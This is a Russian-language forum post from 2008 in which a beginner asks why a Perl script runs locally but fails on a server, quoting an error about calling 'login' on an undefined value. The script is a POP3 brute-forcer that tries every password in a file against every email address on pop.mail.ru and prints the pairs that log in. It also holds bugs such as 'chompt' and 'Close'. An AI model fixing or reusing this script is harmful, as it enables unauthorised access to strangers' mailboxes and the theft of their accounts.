
02.06.2008, 17:59
|
|
Новичок
Регистрация: 21.02.2006
Сообщений: 18
Провел на форуме: 163552
Репутация:
1
|
|
Здравствуйте!
Заранее извиняюсь за (может быть) глупый вопрос!
Почему данный скрипт на Локлке работает а на сервере нет???
Код:
#!usr/bin/perl
use Net::POP3;
$Fpass = 'passwords.txt';
$Femails = 'emails.txt';
$finds = 0;
open($emails, $Femails);
while(<$emails>)
{
chompt;
$email = $_;
open($passwords, $Fpass);
while(<$passwords>)
{
chompt;
$pass = $_;
$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);
if($pop->login($email, $pass)>0)
{
print "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
"[>]Email:".$email."\n".
"[>]Password:".$pass."\n";
}
else
{
print "[>]BAD Password:".$pass;
}
}
$pop->quit;
Close($passwords);
}
Close($emails);
Ошибка:
Код:
Can't call method "login" on an undefined value at hello.pl line 29, <$passwords> line 1.
П.С.
Сильно не бейте я только учусь!

|
|
|